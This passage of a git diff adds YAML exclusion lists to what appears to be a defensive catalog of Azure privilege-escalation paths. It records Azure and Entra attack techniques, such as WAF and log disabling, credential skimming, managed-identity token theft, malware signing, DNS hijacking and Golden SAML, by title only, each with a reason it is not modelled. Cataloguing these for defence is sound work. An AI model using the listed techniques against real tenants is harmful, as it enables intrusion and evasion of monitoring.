+- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicewrite + technique: '`Microsoft.ApiManagement/service/write`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md#microsoftapimanagementservicesubscriptionsdelete + technique: '`Microsoft.ApiManagement/service/subscriptions/delete`' + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#telemetry-tampering + technique: Telemetry tampering + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-batch-post-exploitation.md#dosbreak + technique: DoS/Break + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-chaos-studio-post-exploitation.md#cancel--suppress-a-defenders-remediation-drill + technique: Cancel / suppress a defender's remediation drill + reason: Fault injection/telemetry tampering; the experiment identity token is not handed to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-chaos-studio-post-exploitation.md#detonate-faults-against-onboarded-targets-availability-attack + technique: Detonate faults against onboarded targets (availability attack) + reason: Fault injection/telemetry tampering; the experiment identity token is not handed to the caller. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-cloud-shell-post-exploitation.md#cloud-shell + technique: Cloud Shell + reason: In-session $MSI_ENDPOINT token use is the caller's own identity (on-box outcome). +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentsstorageswrite-and-microsoftappcontainerappswrite + technique: '`Microsoft.App/managedEnvironments/storages/write` and `Microsoft.App/containerApps/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-apps-post-exploitation.md#microsoftappmanagedenvironmentswrite--suppress-or-redirect-environment-logs + technique: '`Microsoft.App/managedEnvironments/write` — Suppress or redirect environment logs' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#microsoftcontainerregistryregistriespullread + technique: '`Microsoft.ContainerRegistry/registries/pull/read`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-container-registry-post-exploitation.md#remove-registry-webhooks + technique: Remove registry webhooks + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-ddos-protection-post-exploitation.md#silence-the-mitigation-telemetry + technique: Silence the mitigation telemetry + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-ddos-protection-post-exploitation.md#remove-protection-drop-mitigation--telemetry-in-one-write + technique: Remove protection (drop mitigation + telemetry in one write) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#dns-proxy-caveat + technique: DNS proxy caveat + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#open-the-path-you-need-firewall-policy-edits + technique: Open the path you need (Firewall Policy edits) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#disarm-threat-intel-and-idps-stop-the-alerts + technique: Disarm threat-intel and IDPS (stop the alerts) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-firewall-post-exploitation.md#cut-the-firewalls-logs + technique: Cut the firewall's logs + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-front-door-credential-skimming-post-exploitation.md#credential-skimming-via-waf-custom-rules--log-analytics + technique: Credential Skimming via WAF Custom Rules + Log Analytics + reason: Skims end-user credentials of a fronted app; content/user-dependent, not RBAC-derivable. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md#steal-managed-identity-tokens-via-identity_endpoint + technique: Steal managed-identity tokens via `$IDENTITY_ENDPOINT` + reason: On-box outcome step; the reaching code-execution paths are the azure-functions-* / azure-appservice-* entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-guest-configuration-post-exploitation.md#anti-forensics--delete-the-assignment-to-erase-on-box-artifacts + technique: Anti-forensics — delete the assignment to erase on-box artifacts + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#node--kubelet-managed-identity-theft-via-imds--cluster--azure-pivot + technique: Node / kubelet managed-identity theft via IMDS — cluster → Azure pivot + reason: Cluster -> Azure pivot is modelled by k8s/cloud_pivot.yaml k8s-cloud-node-cloud-identity from cluster-admin. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#add-an-attacker-influenced-node-pool-agentpoolswrite + technique: Add an attacker-influenced node pool (`agentPools/write`) + reason: New node pool inherits the cluster kubelet identity; reaching it needs in-cluster code execution modelled by k8s entries. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#api-server-network-exposure-managedclusterswrite--apiserveraccessprofile + technique: API-server network exposure (`managedClusters/write` — `apiServerAccessProfile`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-kubernetes-post-exploitation.md#cluster-certificate-rotation--invalidate-all-kubeconfigs-rotateclustercertificatesaction + technique: Cluster-certificate rotation — invalidate all kubeconfigs (`rotateClusterCertificates/action`) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowslistswaggeraction---workflow-openapi--endpoint-disclosure + technique: '`Microsoft.Logic/workflows/listSwagger/action` - Workflow OpenAPI / endpoint disclosure' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountspartnerswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/partners/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicintegrationaccountswrite + technique: '`Microsoft.Logic/integrationAccounts/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountsbatchconfigurationswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/batchConfigurations/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountsmapswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/maps/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftresourcessubscriptionsresourcegroupsread--microsoftlogicintegrationaccountssessionswrite + technique: '`Microsoft.Resources/subscriptions/resourcegroups/read` && `Microsoft.Logic/integrationAccounts/sessions/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesread-microsoftwebsiteswrite + technique: '`Microsoft.Web/sites/read`, `Microsoft.Web/sites/write`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftwebsitesstopaction-microsoftwebsitesstartaction--microsoftwebsitesrestartaction + technique: '`Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#delete + technique: '"*/delete"' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md#microsoftlogicworkflowsregenerateaccesskeyaction + technique: '`Microsoft.Logic/workflows/regenerateAccessKey/action`' + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-maintenance-and-update-manager-post-exploitation.md#anti-patching-persistence-keep-the-foothold-exploitable + technique: Anti-patching persistence (keep the foothold exploitable) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-maintenance-and-update-manager-post-exploitation.md#forced-maintenance-apply--reboot-availability + technique: Forced maintenance apply / reboot (availability) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#appliance-host--credential-jackpot-enrichment + technique: Appliance host = credential jackpot (enrichment) + reason: Requires host compromise of the appliance; yields on-prem credentials, not an Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-migrate-post-exploitation.md#on-prem-estate-recon-via-read-only-rbac-marquee + technique: On-prem estate recon via read-only RBAC (marquee) + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-playwright-workspaces-post-exploitation.md#workspace-access-token-creation + technique: Workspace access-token creation + reason: 'NEEDS SCHEMA: a Playwright workspace token may confer bounded workspace authority, but the exact token subject, scope, usable token, new operation, and prior-absence proof are not verified.' +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-service-connector-post-exploitation.md#read-connection-configuration-to-exfiltrate-the-backing-secret + technique: Read connection configuration to exfiltrate the backing secret + reason: Backing secret of a secret-auth connection; target-service data access, content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#persistence--self-granted-signer--timestamps-that-outlive-revocation + technique: Persistence — self-granted Signer + timestamps that outlive revocation + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#sign-arbitrary-malware-with-an-existing-trusted-profile-marquee + technique: Sign arbitrary malware with an existing trusted profile (marquee) + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#enroll-a-new-certificate-profile-for-signing-control-plane + technique: Enroll a new certificate profile for signing (control-plane) + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-trusted-signing-post-exploitation.md#control-the-publisher-identity-via-identity-validation + technique: Control the publisher identity via identity validation + reason: Code-signing abuse; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#managed-identity-token-theft-on-the-session-host + technique: Managed-identity token theft on the session host + reason: On-box outcome step; reaching paths are VM run-command/extension entries and azure-avd-application-write-session-host-rce. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#in-session-phishing-via-usersessionssendmessageaction + technique: In-session phishing via `usersessions/sendMessage/action` + reason: User phishing prompt; user-behaviour-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#control-plane-malicious-app-attach-registration-via-appattachpackageswrite + technique: Control-plane malicious App Attach registration via `appattachpackages/write` + reason: Publishing the package needs applicationgroups/applications/write, already modelled by azure-avd-application-write-session-host-rce. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md#device-redirection-exfil-channel-via-hostpoolswrite-customrdpproperty + technique: Device-redirection exfil channel via `hostpools/write` (`customRdpProperty`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#security-admin-alwaysallow-skeleton-key-scope-wide-nsg-bypass + technique: Security admin `AlwaysAllow` skeleton key (scope-wide NSG bypass) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#connectivity-configuration-mass-peering-lateral-movement-fabric + technique: Connectivity-configuration mass peering (lateral-movement fabric) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-virtual-network-manager-post-exploitation.md#security-admin-deny--estate-wide-dos--segmentation-break + technique: Security admin `Deny` — estate-wide DoS / segmentation break + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-vm-extensions--vm-applications + technique: Sensitive information in VM Extensions & VM Applications + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#harvest-boot-diagnostics-logs + technique: Harvest boot diagnostics logs + reason: Data read of boot diagnostics; content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-images + technique: Sensitive information in images + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-restore-points + technique: Sensitive information in restore points + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#sensitive-information-in-disks--snapshots + technique: Sensitive information in disks & snapshots + reason: Data read of extension/image/disk contents; any credential is content-dependent. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#capture-vm--image--cross-tenant-gallery-share-exfiltration + technique: Capture VM → image → cross-tenant gallery share (exfiltration) + reason: Data exfiltration/tampering/evasion/DoS; no new Azure/Entra principal. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#network-pivoting-nsg-rule--route-table-writes + technique: Network pivoting (NSG rule / route-table writes) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#control-plane-packet-capture-network-watcher-wiretap + technique: Control-plane packet capture (Network Watcher wiretap) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#private-dns-record-hijack-internal-mitm + technique: Private DNS record hijack (internal MITM) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#public-dns-subdomain-takeover-via-dangling-record-dnszonescnameawrite + technique: Public DNS subdomain takeover via dangling record (`dnszones/CNAME|A/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#inbound-email-hijack-via-mx-rewrite-dnszonesmxwrite + technique: Inbound email hijack via MX rewrite (`dnszones/MX/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#ns-delegation-hijack-of-a-subdomain-dnszonesnswrite + technique: NS delegation hijack of a subdomain (`dnszones/NS/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#dns-private-resolver-forwarding-rule-tamper-dnsforwardingrulesetsforwardingruleswrite + technique: DNS Private Resolver forwarding-rule tamper (`dnsForwardingRulesets/forwardingRules/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#front-door--cdn-origin-repoint-edge-reverse-proxy-mitm-cdnprofilesorigingroupsoriginswrite + technique: Front Door / CDN origin repoint (edge reverse-proxy MITM) (`Cdn/profiles/origingroups/origins/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#front-door-rules-engine-headerroute-rewrite-auth-header-backdoor--partial-mitm-cdnprofilesrulesetsruleswrite + technique: Front Door rules-engine header/route rewrite (auth-header backdoor / partial MITM) (`Cdn/profiles/rulesets/rules/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#classic-front-door-v1-backend-pool-repoint--https-downgrade-networkfrontdoorsbackendpoolswrite + technique: Classic Front Door (v1) backend-pool repoint + HTTPS downgrade (`Network/frontDoors/backendPools/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#application-gateway-backend-repoint--listener-tls-cert-swap-regional-l7-mitm-networkapplicationgatewayswrite + technique: Application Gateway backend repoint + listener TLS-cert swap (regional L7 MITM) (`Network/applicationGateways/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#traffic-manager-endpoint-repoint-dns-level-traffic-steal-networktrafficmanagerprofilesexternalendpointswrite + technique: Traffic Manager endpoint repoint (DNS-level traffic steal) (`Network/trafficManagerProfiles/externalEndpoints/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#load-balancer-backendnat-rewrite-in-vnet-l4-redirect-networkloadbalancersbackendaddresspoolswrite + technique: Load Balancer backend/NAT rewrite (in-VNet L4 redirect) (`Network/loadBalancers/backendAddressPools/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#nic-ip-forwarding--in-vnet-mitm-router + technique: NIC IP forwarding → in-VNet MITM router + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#domain-validated--acme-tls-cert-issuance-for-the-victim-domain-dnszonestxtacnamewrite + technique: Domain-validated / ACME TLS cert issuance for the victim domain (`dnszones/TXT|A|CNAME/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#outbound-mail-spoofing-via-spfdkimdmarc-txt-tamper-dnszonestxtwrite + technique: Outbound mail spoofing via SPF/DKIM/DMARC TXT tamper (`dnszones/TXT/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#foreign-tenant--saas-domain-verification-takeover-via-txt-dnszonestxtwrite + technique: Foreign-tenant / SaaS domain-verification takeover via TXT (`dnszones/TXT/write`) + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#link-a-private-link-dns-zone-to-a-vnet-without-the-target-record + technique: Link a Private Link DNS zone to a VNet without the target record + reason: Network/traffic interception, exposure or DNS tampering; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md#disk-encryption-set--cmk-revocation-destruction-dos--extortion + technique: Disk Encryption Set / CMK revocation (destruction, DoS & extortion) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#turn-prevention-into-detection-or-off + technique: Turn Prevention into Detection (or Off) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#exclusions-and-custom-rule-allow + technique: Exclusions and custom-rule allow + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#get-under-the-inspection-limits + technique: Get under the inspection limits + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#detach-the-waf-from-the-endpoint-front-door-security-policy-unbind + technique: Detach the WAF from the endpoint (Front Door security-policy unbind) + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#application-gateway-for-containers-agc--waf-unbind--traffic-redirect + technique: Application Gateway for Containers (AGC) — WAF unbind / traffic redirect + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. +- source: src/pentesting-cloud/azure-security/az-post-exploitation/az-waf-post-exploitation.md#cut-the-waf-logs + technique: Cut the WAF logs + reason: Security-control weakening, telemetry tampering or DoS; no Azure/Entra principal is obtained. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml new file mode 100644 index 0000000000..ab57f4168f --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_control.yaml @@ -0,0 +1,5 @@ +# Control-plane / data-service group refresh against hacktricks-cloud 171e422: techniques reviewed +# and intentionally NOT modelled as principal -> principal privilege-escalation edges. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-redis-privesc.md#microsoftcacheredisregeneratekeyaction + technique: "Microsoft.Cache/redis/regenerateKey/action" + reason: "NEEDS SCHEMA: bind the rotated classic Redis key to the exact cache/default user, enabled key auth, successful authentication, and newly effective commands; rotation alone is not escalation." diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml new file mode 100644 index 0000000000..4112c06d7a --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/_excluded_171e422_entra.yaml @@ -0,0 +1,108 @@ +# Entra ID / Intune / hybrid-identity group refresh against hacktricks-cloud 171e422: techniques +# reviewed and intentionally NOT modelled as principal -> principal privilege-escalation edges. +# Reasons prefixed "NEEDS_SCHEMA" are real escalations that schema v1 cannot express precisely; +# the proposed requirement/selector/target shapes are tracked outside the catalog. +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#intune + technique: Intune privilege escalation (page section) + source_revision: 171e422 + reason: "Section header; the concrete techniques are the sub-headings listed below." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-intune-privesc.md#conditional-access-bypass-via-compliance-tampering--company-portal-foci + technique: Conditional Access bypass via compliance tampering / Company Portal FOCI + source_revision: 171e422 + reason: "Conditional Access / device-compliance bypass for an identity the attacker already controls; no new principal is gained." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#forged-ad-fs-sign-in-log-injection-fake-agent + technique: Forged AD FS sign-in log injection through a fake Connect Health agent + source_revision: 171e422 + reason: "Log forgery / defense evasion; does not grant any identity or permission." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#on-prem-agentkey-theft-from-an-ad-fs-host--event-replay + technique: Connect Health AgentKey theft from an AD FS host and event replay + source_revision: 171e422 + reason: "Starts from on-prem host compromise and only yields log injection; no cloud principal edge." +- source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-connect-health-abuse.md#hybrid-recon-on-prem-identity-leakage-via-connect-health-reader + technique: On-prem identity leakage via Connect Health reader access + source_revision: 171e422 + reason: "Reconnaissance / information disclosure only (the page notes the AgentKey-from-reader path was remediated)." +- source: src/pentesting-cloud/azure-security/az-persistence/README.md#restricted-management-administrative-unit-rmau-to-shield-backdoor-objects + technique: Restricted-management administrative unit used to shield backdoor objects + source_revision: 171e422 + reason: "Persistence / anti-remediation; the restricted_management_au blocker already models its effect on other edges." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#pivoting-ad----entra-id + technique: Connect Sync server credential abuse (MSOL_ / ConnectSyncProvisioning_ / Sync_ accounts) + source_revision: 171e422 + reason: "Source is compromise of the on-prem sync server; cloud-side roles of the sync identities are already evaluated by the generic Entra role/permission entries." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md#pivoting-entra-id----ad + technique: Entra ID to on-prem AD via password writeback / synced accounts + source_revision: 171e422 + reason: "Target is on-prem Active Directory, outside the cloud principal graph." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#ad----entra-id + technique: Cloud Sync agent compromise to Entra ID + source_revision: 171e422 + reason: "Source is on-prem agent host compromise." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md#entra-id----ad + technique: Entra ID to on-prem AD via Cloud Sync writeback + source_revision: 171e422 + reason: "Target is on-prem Active Directory." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md#pivoting-from-entra-id-to-on-prem-ad + technique: Cloud Kerberos Trust pivot from Entra ID to on-prem AD + source_revision: 171e422 + reason: "Target is on-prem Active Directory (Domain Admin); not a cloud principal edge." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md#golden-saml + technique: Golden SAML with a stolen AD FS token-signing key + source_revision: 171e422 + reason: "Source is on-prem AD FS key theft; the cloud-side federation backdoor is modelled by azure-entraid-domain-federation-backdoor." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-seamless-sso.md#pivoting-on-prem---cloud + technique: Seamless SSO silver tickets (AZUREADSSOACC) + source_revision: 171e422 + reason: "Source is on-prem AD compromise." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md#matching-an-on-premises-account-to-an-existing-cloud-user + technique: Soft/hard match of an on-prem account onto an existing cloud user + source_revision: 171e422 + reason: "Requires control of on-prem AD objects in sync scope; source is outside the cloud graph." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-exchange-hybrid-impersonation.md#acs-actor-tokens-and-service-to-service-impersonation + technique: Exchange hybrid ACS actor-token impersonation + source_revision: 171e422 + reason: "Source is on-prem Exchange server compromise; the actor-token path is documented as patched." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md#pass-the-prt + technique: Pass-the-PRT + source_revision: 171e422 + reason: "Token theft from a compromised device; same principal reused, no permission-derived edge." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md#attack + technique: Pass-the-cookie + source_revision: 171e422 + reason: "Session theft from a compromised host; same principal reused." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md#pass-the-certificate-azure + technique: Pass-the-certificate (P2P certificate) + source_revision: 171e422 + reason: "Credential theft from a compromised device; same principal reused." +- source: src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md#exploit + technique: Azure Arc onboarding GPO script secret recovery + source_revision: 171e422 + reason: "Requires on-prem domain access to the deployment share; source is outside the cloud graph." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#b2b-guest-users + technique: B2B guest user abuse + source_revision: 171e422 + reason: "Guest default permissions are enumeration; any privileged roles/groups held by guests are evaluated by the regular Entra entries." +- source: src/pentesting-cloud/azure-security/az-cross-tenant-and-cross-subscription-attacks/cross-tenant-identity-attacks.md#multi-tenant-apps-and-oauth-consent-illicit-consent-grant + technique: Illicit consent grant via multi-tenant apps + source_revision: 171e422 + reason: "Phishing / user interaction; not a permission-derived 